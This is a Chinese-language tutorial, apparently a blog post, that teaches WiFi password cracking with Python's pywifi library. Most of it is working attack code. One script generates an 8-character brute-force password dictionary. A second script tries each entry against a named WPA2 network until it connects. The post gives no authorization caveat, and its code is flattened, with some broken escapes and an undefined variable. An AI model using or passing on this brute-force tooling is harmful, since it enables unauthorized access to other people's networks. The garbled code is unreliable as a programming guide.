
本文旨在通过趣味探索来练习Python编程,并希望能激发大家对网络安全的兴趣!第一部分:内容讲解Pywifi – Python用法首先,让我们了解一下Pywifi是什么。我们知道Python之所以强大,主要是因为有很多现成的库可供使用,许多第三方程序员或公司为其开发了库,这些库中包含许多功能模块,可以直接使用。常见的库:在本例中,我们将使用第三方库,即Pywifi。这个库中包含许多工具(类、函数),可以帮助我们操作无线网络接口。Python中也有一些内置库,可以直接使用,但如果是第三方库,就需要我们花点功夫进行安装,安装方法也很简单。1、在命令提示符下:如果您已经配置好了环境变量,可以直接安装。如果没有配置好,可以进入Python的安装目录下的Scripts文件夹,然后使用pip进行安装。

import pywififrom pywifi import constprint(const.IFACE_DISCONNECTED)print(const.IFACE_SCANNING)print(const.IFACE_INACTIVE)print(const.IFACE_CONNECTING)print(const.IFACE_CONNECTED)
2、在PyCharm中,可以按照下图的步骤进行安装:安装好Pywifi后,还需要安装一个comtypes库,因为Pywifi是基于comtypes的。关于如何安装comtypes库的步骤,我不再记录,请大家自行完成安装。好了,现在让我们解释一下Pywifi的基础知识。我们知道,如果要破解WiFi账号,首先必须找到相应的无线网卡(网络接口),然后找到要破解的WiFi账号,最后使用字典进行爆破。因此,我们先练习一下如何获取网卡(网络接口)。
import pywifi
from pywifi import const, Profile
获取网卡接口
wifi = pywifi.PyWiFi() # 得到第一个无线网卡
ifaces = wifi.interfaces()[0] # 切断网卡连接
ifaces.disconnect() # 获取WiFi的连接状态
wifistatus = ifaces.status() # 检查WiFi是否处于切断状态
if wifistatus == const.IFACE_DISCONNECTED:
总结一下Pywifi模块的基本用法现在,让我们总结一下Pywifi模块中常用的三个类——PyWiFi、Profile、Interface等。PyWiFi类用于操作无线设备,该类的主要方法interfaces用于执行无线网络操作,主要包括以下函数:
import itertoolsitems = '1234567890qwertyuiopasdfghjklzxcvbnm'password = itertools.product(items, repeat=8)with open('D:wifipassword.txt', 'w', encoding='utf8') as f:for i, j in enumerate(password):print(f'产生第{i+1}个密码')f.write(''.join(j))f.write(''.join('n'))
Profile类表示无线接入点(AP),即无线网卡搜索出的可连接或可用的无线连接。Profile类的主要属性如下表所示:
第二部分:代码操作讲解(按照步骤操作大约需要45分钟)首先,让我们使用Python生成一个密码字典。
import pywififrom pywifi import const,Profileimport timeimport datetime# 测试连接,返回链接结果def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0] # 获取第一个无线网卡# 断开所有连接ifaces.disconnect() #断掉当前无线网络连接time.sleep(1) #将程序推迟一秒钟后继续下一个语句wifistatus = ifaces.status() #获取当前无线网络连接状态if wifistatus == const.IFACE_DISCONNECTED: #如果wifi连接状态是未连接# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "catfish2018"profile.auth = const.AUTH_ALG_OPEN #auth属性代表认证算法,包括AUTH_ALG_OPEN、.AUTH_ALG_SHARED两种,默认为AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK) #授权密钥管理方式,包括AKM_TYPE_NONE、AKM_TYPE_WPA、AKM_TYPE_WPAPSK、AKM_TYPE_WPA2、AKM_TYPE_WPA2PSK、AKM_TYPE_UNKNOWN,默认为AKM_TYPE_NONEprofile.cipher = const.CIPHER_TYPE_CCMP #密码类型,包括CIPHER_TYPE_NONE、CIPHER_TYPE_WEP、CIPHER_TYPE_TKIP、CIPHER_TYPE_CCMP、CIPHER_TYPE_UNKNOWN,默认为CIPHER_TYPE_NONEprofile.key = pwd #无线网络连接密码ifaces.remove_all_network_profiles() #移除所有无线网络(AP)tep_profile = ifaces.add_network_profile(profile) #添加特定无线网络(AP)以便后续连接ifaces.connect(tep_profile) #连接指定的无线网络(AP)# wifi连接时间time.sleep(5)if ifaces.status() == const.IFACE_CONNECTED: #获取当前无线网络连接状态return Trueelse:return Falseelse:print("已有wifi连接")## 读取密码本def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密码本路径path = "D:wifipassword.txt"# 打开文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline() #readline() 方法用于从文件读取整行,包括 "n" 字符# 去除密码的末尾换行符pwd = pwd.strip('n')bool = wifiConnect(pwd) #wifiConnect(passwd)函数用来验证密码是否正确if bool:print("[*] 密码已破解:", pwd)print("[*] WiFi已自动连接!!!")success = Truebreakelse:# 跳出当前循环,进行下一次循环print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%(profile.ssid,pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))else:print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")exit(0)if __name__=="__main__":readPassword()

简单WiFi爆破代码讲解:参考文档:【1】用Python破解WiFi密码,太刺激了【2】Pywifi – Python用法【3】Python中pywifi模块的基本用法讲解【4】WiFi网络接入原理 #sc=2080【5】Python编写密码破解字典
量子哈希












